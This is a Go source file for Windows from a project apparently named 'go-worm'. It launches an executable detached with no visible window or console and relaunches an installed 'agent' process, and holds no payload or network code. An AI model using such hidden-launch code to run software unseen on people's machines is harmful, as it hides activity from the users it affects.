//go:build windows

package instance

import (
	"os"
	"os/exec"
	"strings"
	"syscall"

	"golang.org/x/sys/windows"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
)

// Launch starts exe detached with no visible window or console IO.
func Launch(exe string, args []string) error {
	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
	if err != nil {
		return err
	}
	defer nul.Close()

	cmd := exec.Command(exe, args...)
	cmd.Stdin = nul
	cmd.Stdout = nul
	cmd.Stderr = nul
	cmd.SysProcAttr = &syscall.SysProcAttr{
		HideWindow:    true,
		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
	}
	return cmd.Start()
}

// RestartSelf launches a fresh agent process (no mutex check).
func RestartSelf() error {
	exe, err := config.InstalledExe()
	if err != nil {
		return err
	}
	return Launch(exe, nil)
}

func filterArgs(args []string) []string {
	out := make([]string, 0, len(args))
	for _, arg := range args {
		name := strings.TrimLeft(arg, "-/")
		lower := strings.ToLower(name)
		switch {
		case lower == "background" || strings.HasPrefix(lower, "background="):
			continue
		case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
			continue
		}
		out = append(out, arg)
	}
	return out
}